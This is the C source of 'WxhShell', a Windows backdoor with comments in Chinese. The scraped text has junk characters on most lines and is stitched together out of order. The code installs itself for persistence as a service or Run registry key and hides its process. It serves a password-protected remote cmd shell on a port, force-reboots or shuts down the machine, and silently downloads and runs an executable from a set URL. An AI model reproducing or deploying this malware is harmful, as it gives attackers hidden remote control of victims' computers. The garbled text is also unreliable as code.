    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); . L9n  
    if(Boot(SHUTDOWN)) +:3s f%0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =wznkqyhi  
    else { ~A_1he~  
    closesocket(wsh); y<kg;-& 8  
    ExitThread(0); s1bb2R  
    } uaqV)H  
    break; i hcSSUm  
    } nm,(Wdr  
  // 获取shell &mkL4 jXG  
  case 's': { ,wZq ~; 2  
    CmdShell(wsh); 4ufT-&m};s  
    closesocket(wsh); KEjMxOv1  
    ExitThread(0); {]]#q0|  
    break; tQE<'94A  
  } "2ZuI; w  
  // 退出 L| ]fc9W:  
  case 'x': { 2"EaF^?\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -ND1+`yD  
    CloseIt(wsh); !@>q^_Gez  
    break; nCDG PzJ  
    } D<'G\#n3I=  
  // 离开 C6A!JegU  
  case 'q': { )Lg~2]'?j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C9 j{:&  
    closesocket(wsh); 'HJ<"<  
    WSACleanup(); 0IyT(1hS  
    exit(1); 3QCCX$,  
    break; qOflvf  
        } S2 MJb  
  } N<XMSt  
  } X7txAp.  
^t?vv;@}  
  // 提示信息 WsW]  1p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C8%MKNPd  
} %awr3h>$  
  } qwq5y t?  
Fg0!2MKq*  
  return; d^8n  
} LtGjHB\+  
O-!Q~;3][  
// shell模块句柄 W9;9\k  
int CmdShell(SOCKET sock) X/h|;C* 9  
{ MS\?+8|SV(  
STARTUPINFO si; Ec&_&  
ZeroMemory(&si,sizeof(si)); Z+_xX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y+eDE:4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |3g'~E?$  
PROCESS_INFORMATION ProcessInfo; %$N,6}n  
char cmdline[]="cmd"; ?3gf)g=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DDj:(I?,w  
  return 0; AWg'J  
} "A0y&^4B@  
,z#S=I  
// 自身启动模式 0,B"p  
int StartFromService(void) ]"'1-h91  
{ Bm  4$  
typedef struct 3|%058bF  
{ a7aj:.wi  
  DWORD ExitStatus; "JE->iD  
  DWORD PebBaseAddress; %~[@5<p  
  DWORD AffinityMask; pJIJ"o'>.9  
  DWORD BasePriority; o%*C7bU  
  ULONG UniqueProcessId; 7C wWf  
  ULONG InheritedFromUniqueProcessId; S R s  
}   PROCESS_BASIC_INFORMATION; >J#/IjCW  
P 1  
PROCNTQSIP NtQueryInformationProcess; ^91Ae!)d  
na@Go@q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DGg1TUE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `6(Zc"/ \m  
Rh%@N.Z*  
  HANDLE             hProcess; 4I#@xm8)  
  PROCESS_BASIC_INFORMATION pbi; qMw_`dC  
In8{7&iVO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9CAu0N5<  
  if(NULL == hInst ) return 0; 7rG+)kHG  
Jp= )L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tj}%G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~V0 GRPnI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s1tkiX{>  
{^k7}`7,  
  if (!NtQueryInformationProcess) return 0; u> =\.d <  
 FL b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ={51fr/C%  
  if(!hProcess) return 0; AR{$P6u!%|  
r;p@T8k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !?lvmq  
J:OP*/@='  
  CloseHandle(hProcess); 0sH~H[ap  
 smn~p/u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MI-S}Qoe  
if(hProcess==NULL) return 0; 6Hfv'X5E`Z  
V+r&Z<&  
HMODULE hMod; N`4XlD  
char procName[255]; 4*inN~cU  
unsigned long cbNeeded; C~pQJ@bF0  
Yhjv[9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (?ULp{VPFl  
^]Q.V  
  CloseHandle(hProcess); %<8r`BMo  
WJ^]mpH9  
if(strstr(procName,"services")) return 1; // 以服务启动 EMpq+LrN  
9W, %[  
  return 0; // 注册表启动 j& ykce  
} h!Y##_&&4  
3i\Np =  
// 主模块 |kD69 }sG  
int StartWxhshell(LPSTR lpCmdLine) 1/i1o nu}  
{ (xKypc+j  
  SOCKET wsl; }^VikT]>1  
BOOL val=TRUE; /%gMzF  
  int port=0; \UX9[5|  
  struct sockaddr_in door; +3sbpl2}  
s3  fQGbU  
  if(wscfg.ws_autoins) Install(); A 8-a}0Gh  
N1$PW~)Y  
port=atoi(lpCmdLine); 1K(mdL{m5  
5z\,]  
if(port<=0) port=wscfg.ws_port;  \< dg  
"zkQu  
  WSADATA data; YV} "#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r4<As`&  
!b&+2y2i[W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,*YmXR-"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5z2("[8L&  
  door.sin_family = AF_INET; FM(EOsWk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IZ iS3  
  door.sin_port = htons(port); G/#m. =t  
Vbe@S?u-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j@Pd" Z9  
closesocket(wsl); 7GS 4gSd3  
return 1; 5Ar gM%  
} PKC0Dt;F.  
VMe  
  if(listen(wsl,2) == INVALID_SOCKET) { 5g O9 <  
closesocket(wsl); 0*+EYnu+  
return 1; x+ER 3wDD@  
} k_uI&,  
  Wxhshell(wsl); *$`N5;7'`  
  WSACleanup(); ZJm$7T)V  
\)6bLB!  
return 0; wLb:FB2  
4jGN:*kZ  
} dQ _4aO  
_l1"X^Aa  
// 以NT服务方式启动 g-B{K "z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g^x=y  
{ ^2{6W6=  
DWORD   status = 0; (h@!_qi9:  
  DWORD   specificError = 0xfffffff; l)~ U8  
2`j{n \/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :U=3*f.{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "C(yuVK1G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ru6M9\h*  
  serviceStatus.dwWin32ExitCode     = 0; R MOs1<D  
  serviceStatus.dwServiceSpecificExitCode = 0; VW*?(,#j{  
  serviceStatus.dwCheckPoint       = 0; A?$-Uqb"  
  serviceStatus.dwWaitHint       = 0; Dsn=fht  
m*CW3y{n)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^fH)E"qq5  
  if (hServiceStatusHandle==0) return; d{t@+}0.u  
pzoh9}bue  
status = GetLastError(); ]9)iBvQlj  
  if (status!=NO_ERROR) 'Bxj(LaV-  
{ 0 f$96sl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G 9 (*F  
    serviceStatus.dwCheckPoint       = 0; JtsXMZz  
    serviceStatus.dwWaitHint       = 0; l'@!'  
    serviceStatus.dwWin32ExitCode     = status; >)G[ww[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yl lZ5<}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MkjB4:"  
    return; "'@D\e}  
  } 7Z~JuTIZ  
*9xxX,QT8Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <2L,+  
  serviceStatus.dwCheckPoint       = 0; %{pjC7j#  
  serviceStatus.dwWaitHint       = 0; fA]sPh4Uag  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 023uAaI^3r  
} ~d1=_p:~T  
x X[WX#'f  
// 处理NT服务事件,比如:启动、停止 XjP &  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6xwjKh:9  
{ mpCu,l+lo  
switch(fdwControl) []aw;\7}Y  
{ %<+uJ'pj  
case SERVICE_CONTROL_STOP: 3$q#^UvD  
  serviceStatus.dwWin32ExitCode = 0; GDe,n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ao=e{R)  
  serviceStatus.dwCheckPoint   = 0; mqHH1}  
  serviceStatus.dwWaitHint     = 0; WVhQ?2@}  
  { !Ur.b @ke  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BD;T>M  
  } cWZ uph\  
  return; tm1&OY  
case SERVICE_CONTROL_PAUSE: u\= 05N6G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; esE!i0%  
  break; kX`m( N$  
case SERVICE_CONTROL_CONTINUE: N*6~$zl&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o|vL:| 8Q  
  break; .-![ ra  
case SERVICE_CONTROL_INTERROGATE: ],[<^=|  
  break; SZLugyZ2Y  
}; TBQ68o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D`!BjhlW  
} XP0;Q;WF}  
i+in?!@G:  
// 标准应用程序主函数 !Q_Wbu\U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G`jvy@  
{ b_6cK#  
7FyE?  
// 获取操作系统版本 GnUD<P=I  
OsIsNt=GetOsVer(); [KHlApL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QV HI}3~  
='w 2"4  
  // 从命令行安装 2Xk;]-T!  
  if(strpbrk(lpCmdLine,"iI")) Install(); r|*_KQq  
B(vCi^  
  // 下载执行文件 4)k-gKS*  
if(wscfg.ws_downexe) { a#i|)[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +9|0\Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 00f'G2n  
} MUv#8{+F'/  
C'y2!Q /"  
if(!OsIsNt) { U^ , !  
// 如果时win9x,隐藏进程并且设置为注册表启动 i2(v7Gef  
HideProc(); !.q99DB  
StartWxhshell(lpCmdLine); hcRe,}wJ  
} jP_s(PQ  
else (n: A` ]  
  if(StartFromService()) @_$$'XA7  
  // 以服务方式启动 V!Sm,S(  
  StartServiceCtrlDispatcher(DispatchTable); 3{t[>O;  
else ^'M^0'_"v  
  // 普通方式启动 ,dK)I1"C  
  StartWxhshell(lpCmdLine); ~|Ln9f-g  
, .~ k  
return 0; pjTJZhT2I  
} gp{C89gP  
j<~T:Tk  
<-b9 )>  
.K(9=yh  
=========================================== vY|YqWt  
H lM7^3(&  
~Js kA5h|&  
mVYfyLZ,(  
Gos# =H  
1 hFh F^  
" yvzH}$!]  
yp^k;G?_d  
#include <stdio.h> dR< d7  
#include <string.h> EmrkaV-?k  
#include <windows.h> W^xO/xu1 /  
#include <winsock2.h> [xrsa!$   
#include <winsvc.h> ^xNzppz`]C  
#include <urlmon.h> 3h=kn@I  
6)?u8K5%r  
#pragma comment (lib, "Ws2_32.lib") Jq(;BJ90R  
#pragma comment (lib, "urlmon.lib") 5Rs#{9YE  
N[\J#x!U  
#define MAX_USER   100 // 最大客户端连接数 czu9a"M>X  
#define BUF_SOCK   200 // sock buffer SpU|Q1Q/h  
#define KEY_BUFF   255 // 输入 buffer :Z2997@Y  
lN:;~;z_  
#define REBOOT     0   // 重启 3Og}_  
#define SHUTDOWN   1   // 关机 ;n*|AL7(  
sF[gjeIb  
#define DEF_PORT   5000 // 监听端口 X])iQyN  
Nb !i_@m%s  
#define REG_LEN     16   // 注册表键长度 <bo)p6S&  
#define SVC_LEN     80   // NT服务名长度 v6=%KXSF  
o8<~zeI  
// 从dll定义API KN657 |f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'NCqI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gds(.]_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [?9 `x-Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,lvG5B\0  
:2==7u7v?  
// wxhshell配置信息 %s+'"E"E  
struct WSCFG { R6fkc^  
  int ws_port;         // 监听端口 iEr?s-or  
  char ws_passstr[REG_LEN]; // 口令 ilJ`_QN  
  int ws_autoins;       // 安装标记, 1=yes 0=no g~.#.S ds  
  char ws_regname[REG_LEN]; // 注册表键名 f sh9-iY8e  
  char ws_svcname[REG_LEN]; // 服务名 lkJxb~S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,K\7y2/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %]0?vw:;j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S#8)N`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WrDFbcH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1|xe'w{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D^m2iW;  
0?/gEr  
}; ^zO{Aks  
9U.Ctx:F  
// default Wxhshell configuration !i (V.A  
struct WSCFG wscfg={DEF_PORT, fi*b]a\'  
    "xuhuanlingzhe", < B]qqqP  
    1, &QfEDDJ  
    "Wxhshell", ,'`yh|}G\  
    "Wxhshell", &uO-h  
            "WxhShell Service", 612,J  
    "Wrsky Windows CmdShell Service", F$ G)vskd  
    "Please Input Your Password: ", '5$@ I{z  
  1, k]r4b`x`  
  "http://www.wrsky.com/wxhshell.exe", C^4,L \E  
  "Wxhshell.exe" 3fQ`}OcNr  
    }; }cCIYt\RK  
&Lt$~}*&6  
// 消息定义模块 0wVM% Dng  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^L d5<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |J:r]);@K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #CI0G  
char *msg_ws_ext="\n\rExit."; \rxjvV4fcZ  
char *msg_ws_end="\n\rQuit."; FA{Q6fi:2  
char *msg_ws_boot="\n\rReboot..."; :X'B K4EN  
char *msg_ws_poff="\n\rShutdown..."; [[<TW}  
char *msg_ws_down="\n\rSave to "; uQdy  
=gJ{75tV3  
char *msg_ws_err="\n\rErr!"; nyR<pnuC'  
char *msg_ws_ok="\n\rOK!"; 62'9lriQ  
4Ps;Cor+  
char ExeFile[MAX_PATH]; zw+wq+2"  
int nUser = 0; =Jw*T[E  
HANDLE handles[MAX_USER]; Fs4shrt  
int OsIsNt; N_B^k8j  
7~Inxk;  
SERVICE_STATUS       serviceStatus; W =Bw*o-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l\V1c90m  
'R-\6;3E>9  
// 函数声明 `~=z0I  
int Install(void); WUz69o be  
int Uninstall(void);  NnHaHX  
int DownloadFile(char *sURL, SOCKET wsh); aBaiXv/*  
int Boot(int flag); }F.k,2  
void HideProc(void); ^8 ,prxaok  
int GetOsVer(void); %au>D  
int Wxhshell(SOCKET wsl); O-UA2?N@j  
void TalkWithClient(void *cs); ;DnUeE8  
int CmdShell(SOCKET sock); vI(LIfe;  
int StartFromService(void); dz/@]a  
int StartWxhshell(LPSTR lpCmdLine); 1DAU *^-  
*`w>\},su  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m`8{arz2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +l)t5Mg\  
JS m7-p|E  
// 数据结构和表定义 0H4|}+e  
SERVICE_TABLE_ENTRY DispatchTable[] = e4Ibj/  
{ P nE7}  
{wscfg.ws_svcname, NTServiceMain}, 9{A4>  
{NULL, NULL} *?1\S^7R  
}; Tb2#y]27  
o*7NyiJ@z  
// 自我安装 6U8esPs,  
int Install(void) IZ>l  
{ k -R"e  
  char svExeFile[MAX_PATH];  C&qo$C  
  HKEY key; 1U/9=b  
  strcpy(svExeFile,ExeFile); qP;1LAX  
"wZvr}xk  
// 如果是win9x系统,修改注册表设为自启动 4FYV]p8f  
if(!OsIsNt) { [c1Gq)ht  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pl@K"PRE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?d?.&nt  
  RegCloseKey(key); .J @mpJdY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~PyS;L}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fP4P'eI  
  RegCloseKey(key); `.~S/$a.&  
  return 0; w<!,mL5 N  
    } \l3z <\  
  } ZEDvY=@a   
} q+8de_"]  
else { AHuIA{AdUR  
[+b8 !'|&  
// 如果是NT以上系统,安装为系统服务 #0h}{y E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0%&}wUjV  
if (schSCManager!=0) F`e E*&  
{ Dl0{pGK~  
  SC_HANDLE schService = CreateService +\ "NPK@3  
  ( ]CcRI|g}  
  schSCManager, yId1J  
  wscfg.ws_svcname, Y$,~"$su|  
  wscfg.ws_svcdisp, L{IMZ+IB2|  
  SERVICE_ALL_ACCESS, 6l4=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YGQ/zB^Pj  
  SERVICE_AUTO_START, PY '^:0  
  SERVICE_ERROR_NORMAL, 8,h!&9  
  svExeFile, 29Gel  
  NULL, +Z_VF30pa  
  NULL, alzdYiGf  
  NULL, tXrKC  
  NULL, 58HAl_8W  
  NULL =IX-n$d`>  
  ); $i<+O,@-  
  if (schService!=0) Q{=r9&&  
  { 38X{>*  
  CloseServiceHandle(schService); <a_ (qh@B  
  CloseServiceHandle(schSCManager); "v0bdaQH3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,m0 M:!hK  
  strcat(svExeFile,wscfg.ws_svcname); mc2uI-W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wS,fj gX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7>r[.g  
  RegCloseKey(key); |"Zf0G  
  return 0; c}S<<LR  
    } 9:xs)t- _  
  } z8kebS&5  
  CloseServiceHandle(schSCManager); sb_/FE5e  
} cg]Gt1SU  
} Qp:m=f6@  
/ s Apj  
return 1; \@h$|nb  
} nLk`W"irM  
*a|575e< z  
// 自我卸载 se>\5k  
int Uninstall(void) pd,d"+  
{ /TB{|_HbW  
  HKEY key; ^A\(M%*F  
M(\{U"%@?  
if(!OsIsNt) { |XQ_4{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4IY|<  
  RegDeleteValue(key,wscfg.ws_regname); u~ FVI  
  RegCloseKey(key); Oop6o $k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wmR~e  
  RegDeleteValue(key,wscfg.ws_regname); Fo ;J3<U)  
  RegCloseKey(key);  yoe@]c=  
  return 0; =5^1Bl  
  } GJS(  
} wXnVQ-6H  
} =tA;JB  
else { H ~fF; I  
qG~6YCqii  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `?l /HUw  
if (schSCManager!=0) 8n2;47 a  
{ <f.Eog  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .dxELSV  
  if (schService!=0) {gu3KV  
  { |}YxxeAk  
  if(DeleteService(schService)!=0) { G9j f]Ye;  
  CloseServiceHandle(schService); )'7Qd(4WT  
  CloseServiceHandle(schSCManager); ?A.ah  
  return 0; %c]N-  
  } PC255  
  CloseServiceHandle(schService); 2$t%2>1>@  
  } Gi@c`lRd1  
  CloseServiceHandle(schSCManager); Jwj=a1I 53  
} 3gJZlH5IR  
} KC:6^h'.  
sHPeAa22  
return 1; d>MDC . j  
} tV pXA'"!x  
X+u1p?  
// 从指定url下载文件 %`]!atH  
int DownloadFile(char *sURL, SOCKET wsh) Y+g(aak+.  
{ ,|z zq@fk  
  HRESULT hr; Tz9 (</y  
char seps[]= "/"; pJl/d;Cyrb  
char *token;  Q3bU"f  
char *file; WL,2<[)Ew  
char myURL[MAX_PATH]; c 8Q2H  
char myFILE[MAX_PATH]; D ZZRu8~  
<ycR/X  
strcpy(myURL,sURL); Xj30bt  
  token=strtok(myURL,seps); -jrAk  
  while(token!=NULL) 5efN5Kt  
  { BOA7@Zaa$p  
    file=token; 7042?\\=  
  token=strtok(NULL,seps); t"J{qfNs  
  }  H4YA  
&~B8~U4%  
GetCurrentDirectory(MAX_PATH,myFILE); Ii/{xVMD  
strcat(myFILE, "\\"); -h ^MX  
strcat(myFILE, file); \4<|QE  
  send(wsh,myFILE,strlen(myFILE),0); rp1+K4]P  
send(wsh,"...",3,0); >X iT[Ru  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #bG6+"g{=L  
  if(hr==S_OK) {0/2Hw n  
return 0; 8gt*`]I  
else Bzt:9hr6BO  
return 1; qJonzFp7  
\x4:i\Fx@  
} DVg$rm`  
}[@Q**j(  
// 系统电源模块 W 9}xfy09  
int Boot(int flag) cud9oJ-=;  
{ 7D 3-/_v  
  HANDLE hToken; TOa6sB!H  
  TOKEN_PRIVILEGES tkp; {=gJGP/}_  
kj4=Q\Rfm  
  if(OsIsNt) { 5X5UUdTM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @y * TVy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rHOhi|+  
    tkp.PrivilegeCount = 1; `e3$jy@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JwWxM3(%t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y8lZ]IB  
if(flag==REBOOT) { SH8zkAA7u}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B#5[PX  
  return 0; FK-q-PKO#.  
} jpW_q+^?  
else { cuy9QBB :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V=1zk-XC  
  return 0; |:2B)X  
} fWri7|"0h  
  } tgl 4pAc  
  else { k w   
if(flag==REBOOT) { O kT@ _U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QSM3qke  
  return 0; R(P(G;#j  
} D8Mq '$-  
else { 5.yiNWh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) II~91IEk  
  return 0; : vgn0 IQ  
} aiE\r/k8s  
} <X& fs*x&  
vMJ(Ll7/  
return 1; :mf&,?  
} 6zNWDUf  
VTyj<6Y  
// win9x进程隐藏模块 ^si[L52BZ  
void HideProc(void) !V/7q'&t=  
{ 2:nI4S  
"f~OC<GdYs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [>3dhj[;  
  if ( hKernel != NULL ) b9-3  
  { Y}Y~?kE>M|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L?&&4%%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L=C#E0{i  
    FreeLibrary(hKernel); :!?Fq/!  
  } El :% \hGy  
+$2`"%nBG  
return; m9&%A0  
} ocUBSK|K)  
ovXk~%_  
// 获取操作系统版本 o>Dd1 j  
int GetOsVer(void) KQw>6)  
{ S0r+Y0J]<  
  OSVERSIONINFO winfo; g:G5'pZf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +bJ~S:[  
  GetVersionEx(&winfo); #,XZ@u+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aX |(%1r  
  return 1; (FgX9SV]p9  
  else MpJ<.|h  
  return 0; q 6>}  
} }?c%L8\  
=]pEvj9o  
// 客户端句柄模块 ZZCm438  
int Wxhshell(SOCKET wsl) R1<$VR  
{ ^~@3X[No  
  SOCKET wsh; )ZrB-(u~k  
  struct sockaddr_in client; p1 HbD`ST  
  DWORD myID; \$ss  
FS!)KxC/-  
  while(nUser<MAX_USER) .j**>&7L  
{ elpTak@  
  int nSize=sizeof(client); /_Ku:?{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Ujgd2(U  
  if(wsh==INVALID_SOCKET) return 1; ('\sUZ+5  
|R!ozlL{}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k9:|CEP  
if(handles[nUser]==0) 49}WJC7 )  
  closesocket(wsh); lB_X mI1t  
else ~82 {Y _{/  
  nUser++; T34Z#PFwe  
  } oj)(.X<8N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N#$]W"U  
@v&s|X '  
  return 0; :$PrlE  
} (pd~ 2!;C  
&%qDi_UD  
// 关闭 socket Tm7LaM  
void CloseIt(SOCKET wsh) MEp{&#v|1  
{ b0@K ~O;g  
closesocket(wsh); gwXmoM5  
nUser--; S{f,EBE  
ExitThread(0); }:;UnE}  
} Km,o+9?1gF  
R osU~OK  
// 客户端请求句柄 {9x>@p/  
void TalkWithClient(void *cs) ;f N^MW@&[  
{ T0)bnjm  
)EKWsGNe/  
  SOCKET wsh=(SOCKET)cs; .jtv Hr}U  
  char pwd[SVC_LEN]; ]+B.=mO_  
  char cmd[KEY_BUFF]; ^W@%(,xb  
char chr[1]; &?Q^i">cZ  
int i,j; 6 v~nEw  
zDbO~.d  
  while (nUser < MAX_USER) { aIrM-c8.O  
b0f6p>~q^  
if(wscfg.ws_passstr) { C8|#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {~s\a2YH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I;eoy,  
  //ZeroMemory(pwd,KEY_BUFF); eO*s,*  
      i=0; RO%M9LISI  
  while(i<SVC_LEN) { !y'>sAf  
Ht\2 IP  
  // 设置超时 v&WK9F\  
  fd_set FdRead; 9PV+Kr!c5I  
  struct timeval TimeOut; k_zn>aR$F  
  FD_ZERO(&FdRead); 4gNN "  
  FD_SET(wsh,&FdRead); J]{<Z?%  
  TimeOut.tv_sec=8; z,2*3Be6V  
  TimeOut.tv_usec=0; -o{ x ;:4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ) jvI Nb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); re}PpXRC  
r)K5<[\r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [?O4l`  
  pwd=chr[0]; 1sonDBd0@;  
  if(chr[0]==0xd || chr[0]==0xa) { HIvSpO  
  pwd=0; u U>L (  
  break; p|mFF0SL  
  } (c^ {T)  
  i++; ;BT7pyu%[  
    } 3/yt  
dC-~=}HR^  
  // 如果是非法用户,关闭 socket KRcB_(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sK&kp=zu  
} @ F $}/  
{2D|,yH=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X#ud5h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v>Kh5H5e~  
g;6/P2w  
while(1) { B, H9EX  
pL`Q+}c}  
  ZeroMemory(cmd,KEY_BUFF); -;&I S  
ZX1/6|_  
      // 自动支持客户端 telnet标准   "Y&   
  j=0; /~f[>#  
  while(j<KEY_BUFF) { lBs-u h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ABkDOG2br  
  cmd[j]=chr[0]; x|dP-E41\  
  if(chr[0]==0xa || chr[0]==0xd) { qBh@^GxY),  
  cmd[j]=0; oSkQ/5hg.  
  break; -1v9  
  } r Dlu&  
  j++; Nq8 3 6HL  
    } u~Po5W/i  
gW--[  
  // 下载文件 1IS1P)4_0  
  if(strstr(cmd,"http://")) { !k*B-@F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !X~NL+  
  if(DownloadFile(cmd,wsh)) 7iwck.*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dh [kx  
  else l5&5VC)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |)Dm.)/0)  
  } xRhGBb{@s  
  else { oq!\100  
K\XQ E50  
